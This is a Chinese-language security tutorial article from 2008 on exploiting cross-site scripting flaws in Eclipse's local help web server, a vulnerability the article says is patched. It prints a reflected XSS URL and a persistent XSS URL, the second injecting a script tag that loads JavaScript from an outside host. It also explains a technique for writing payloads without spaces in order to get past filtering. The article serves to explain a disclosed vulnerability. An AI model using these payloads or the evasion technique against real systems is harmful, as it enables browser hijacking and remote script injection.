跨站脚本攻击开源Eclipse本地Web服务器

日期: 2008-12-07 作者:康凯 来源:TechTarget中国 英文

   Eclipse是一个开放源代码的、基于 Java 的可扩展开发平台,目前该平台在世界范围内得到了广泛的应用。本文将介绍对于Eclipse本地Web服务器一个跨站脚本漏洞的利用方法。更重要的是,我们将学习一种处理有效荷载中的空格符的高级技巧。

  一、Eclipse简介

  Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括 Java 开发工具。虽然大多数用户很乐于将 Eclipse 当作 Java IDE 来使用,但 Eclipse 的目标不仅限于此。Eclipse 还包括插件开发环境(Plug-in Development Environment,PDE),这个组件主要针对希望扩展 Eclipse 的软件开发人员,因为它允许他们构建与 Eclipse 环境无缝集成的工具。由于 Eclipse 中的每样东西都是插件,对于给 Eclipse 提供插件,以及给用户提供一致和统一的集成开发环境而言,所有工具开发人员都具有同等的发挥场所。

  这种平等和一致性并不仅限于 Java 开发工具。尽管 Eclipse 是使用 Java 语言开发的,但它的用途并不限于 Java 语言;例如,支持诸如 C/C++、COBOL 和 Eiffel 等编程语言的插件已经可用,或预计会推出。Eclipse 框架还可用来作为与软件开发无关的其他应用程序类型的基础,比如内容管理系统。

  基于 Eclipse 的应用程序的突出例子是 IBM 的 WebSphere Studio Workbench,它构成了 IBM Java 开发工具系列的基础。例如,WebSphere Studio Application Developer 添加了对 JSP、servlet、EJB、XML、Web 服务和数据库访问的支持。

  二、Eclipse的跨站脚本利用

  由于Eclipse得到了广泛的应用,所以它的漏洞会对许多用户造成影响,不过目前本文所讨论的安全漏洞已经有补丁可用,所以下面就尽情讨论吧。之前,Eclipse的帮助系统曾经发现过XSS安全漏洞,很明显,所有基于Eclipse的产品同样也有此漏洞,下面介绍新近发现的一个漏洞。

  该漏洞的本质就是本地运行的Web服务器存在XSS问题。 如果用户正在运行IE的话,他们就有可能受到该问题的困扰。

  当你单击“Help”菜单的“Help Contents”菜单项的时候,系统将在本地计算机上启动一个Web服务器。经进一步调查发现,这个服务器是Apache Coyote 1.1。乍看起来该Web服务器是从一个伪随机端口启动的,但是实际上有些端口号用的更频繁一些。当然,用于端口号的随机数生成算法不在本文的讨论范围之内,如果您感兴趣的话,可以自己研究一下。

  好了,我们的目标只有一个,那就是拿下Eclipse。下面是Eclipse的帮助系统存在反射式XSS漏洞的地址:

http://localhost:port/help/advanced/searchView.jsp?searchWord=a”);}alert(‘xss’);>

  把上述地址输入浏览器的地址栏,将会看到下面那亲切的画面:

图1  弹出的警示框 
图1  弹出的警示框

  下面是存在持久性XSS漏洞的地址:

http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&workingSet=
‘%3E%3Cscript%20src%3D’http%3A%2F%2F1.2.3.4%2Fa.js’%3E%3C%2Fscript%3E&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=

  当我们在Eclipse上试验反射式XSS攻击时,必须面对这样一个问题,即Eclipse没有把%20和空格符实现自动转换,所以我们要设法避开这个问题,不过这并不太难。那么,怎样写一个没有空格符的JavaScript有效载荷呢?实际上,这很简单。下图是用于有效载荷的示例代码:

图2  有效荷载示例代码 
图2  有效荷载示例代码

  首先,关键字“var”不是必需的。我们在JavaScript 中可以进行隐式变量声明,所以完全可以将这些关键字去掉,这样变量名和关键字之间也就无所谓空格问题了。但是其他内容呢?别急,接下来我要做的是,去除所有不需要的空格符,并变成下面的样子:


图3  精简空格后的有效荷载示例代码 

  呵呵,上面的代码看起来紧凑多了,但是仍然存在空格符。所以下面要做的是,把所有东西弄成一个字符串,并把空格符替换成“..”,注意不带双引号。

 图4  把有效荷载变成单个字符串
图4  把有效荷载变成单个字符串

  注意,由于我们使用“..”字符替代了空格符,所以无法使用eval函数将这个字符串当作一个JavaScript表达式一样去执行它,相反,我们需要使用replace函数。


 图5  把有效荷载变成单个字符串
图5  把有效荷载变成单个字符串

  现在,我们得到了如下所示的XSS攻击字符串:

 图6  把有效荷载变成单个字符串
图6  把有效荷载变成单个字符串

  好了,把上述代码输入IE浏览器的地址栏,将看到如下所示的画面:

 图7  攻击成功
图7  攻击成功


  三、小结

  Eclipse是一个开放源代码的、基于 Java 的可扩展开发平台,目前该平台在世界范围内得到了广泛的应用。本文介绍了对于Eclipse本地Web服务器一个跨站脚本漏洞的利用方法。与此同时,我们还介绍了一种处理有效荷载中的空格符号的高级技巧。

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

作者

康凯
康凯

相关推荐